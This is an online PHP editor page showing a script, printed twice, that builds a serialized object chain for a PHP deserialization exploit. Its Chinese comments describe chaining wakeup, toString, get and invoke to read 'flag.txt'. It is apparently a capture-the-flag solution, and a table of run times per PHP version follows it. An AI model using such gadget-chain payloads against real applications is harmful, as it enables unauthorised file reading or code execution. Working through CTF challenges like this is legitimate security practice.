Online PHP editor | perf for qpd7K

<?php class RitualEngine { public $target; public $callback; } class Keystone { public $center; } class GateSentinel { public $object; public $tool; } // 5. 最终执行读取的机关 (内层) $innerEngine = new RitualEngine(); $innerEngine->target = 'flag.txt'; // 目标文件 // 4. 触发 invoke 的机关 (外层) $outerEngine = new RitualEngine(); // 构造 [对象, 方法] 数组并反序列化，满足 $map['view'] => 'run' $outerEngine->callback = serialize([$innerEngine, 'view']); // 3. 触发 get 并调用 invoke 的基石 $keystone = new Keystone(); $keystone->center = $outerEngine; // 2. 触发 toString 并访问不存在属性的守卫 (内层) $innerSentinel = new GateSentinel(); $innerSentinel->tool = ['blade' => $keystone]; // 1. 触发 wakeup 并引发类型转换的守卫 (外层入口) $outerSentinel = new GateSentinel(); $outerSentinel->object = $innerSentinel; // 输出最终的 payload echo serialize($outerSentinel); ?><?php class RitualEngine { public $target; public $callback; } class Keystone { public $center; } class GateSentinel { public $object; public $tool; } // 5. 最终执行读取的机关 (内层) $innerEngine = new RitualEngine(); $innerEngine->target = 'flag.txt'; // 目标文件 // 4. 触发 invoke 的机关 (外层) $outerEngine = new RitualEngine(); // 构造 [对象, 方法] 数组并反序列化，满足 $map['view'] => 'run' $outerEngine->callback = serialize([$innerEngine, 'view']); // 3. 触发 get 并调用 invoke 的基石 $keystone = new Keystone(); $keystone->center = $outerEngine; // 2. 触发 toString 并访问不存在属性的守卫 (内层) $innerSentinel = new GateSentinel(); $innerSentinel->tool = ['blade' => $keystone]; // 1. 触发 wakeup 并引发类型转换的守卫 (外层入口) $outerSentinel = new GateSentinel(); $outerSentinel->object = $innerSentinel; // 输出最终的 payload echo serialize($outerSentinel); ?>

Version	System time (s)	User time (s)	Memory (MiB)
8.5.6	0.010	0.007	16.96
8.5.5	0.013	0.005	16.82
8.5.3	0.035	0.006	16.73
8.5.2	0.033	0.006	16.73
8.5.1	0.036	0.004	16.73
8.5.0	0.012	0.006	16.89
8.4.21	0.015	0.006	19.61
8.4.18	0.031	0.011	19.70
8.4.17	0.031	0.010	19.78
8.4.16	0.040	0.008	19.48
8.4.15	0.031	0.007	19.75
8.4.14	0.026	0.006	17.77
8.4.13	0.025	0.010	17.82
8.4.12	0.029	0.008	17.97
8.4.11	0.036	0.009	17.83
8.4.10	0.040	0.007	17.84
8.4.9	0.040	0.007	17.83
8.4.8	0.028	0.009	18.15
8.4.7	0.019	0.005	18.04
8.4.6	0.021	0.009	17.83
8.4.5	0.038	0.007	18.03
8.4.4	0.038	0.008	17.85
8.4.3	0.041	0.007	17.61
8.4.2	0.046	0.005	17.59
8.4.1	0.037	0.009	17.83
8.3.30	0.031	0.009	18.37
8.3.29	0.036	0.011	18.39
8.3.28	0.033	0.008	18.42
8.3.27	0.031	0.011	16.75
8.3.26	0.030	0.011	16.93
8.3.25	0.033	0.008	16.73
8.3.24	0.031	0.011	16.92
8.3.23	0.034	0.009	16.77
8.3.22	0.029	0.005	16.80
8.3.21	0.015	0.005	16.82
8.3.20	0.014	0.005	16.85
8.3.19	0.014	0.006	16.73
8.3.18	0.030	0.007	16.86
8.3.17	0.038	0.010	16.87
8.3.16	0.036	0.007	16.82
8.3.15	0.035	0.012	16.82
8.3.14	0.038	0.006	16.73
8.3.13	0.015	0.004	16.79
8.3.12	0.013	0.005	16.84
8.3.11	0.014	0.005	16.73
8.3.10	0.029	0.007	16.80
8.3.9	0.036	0.011	16.73
8.3.8	0.039	0.010	16.80
8.3.7	0.034	0.011	16.73
8.3.6	0.032	0.008	16.80
8.3.5	0.037	0.008	17.05
8.3.4	0.034	0.010	18.15
8.3.3	0.031	0.007	17.67
8.3.2	0.029	0.006	17.89
8.3.1	0.021	0.008	17.73
8.3.0	0.016	0.004	18.00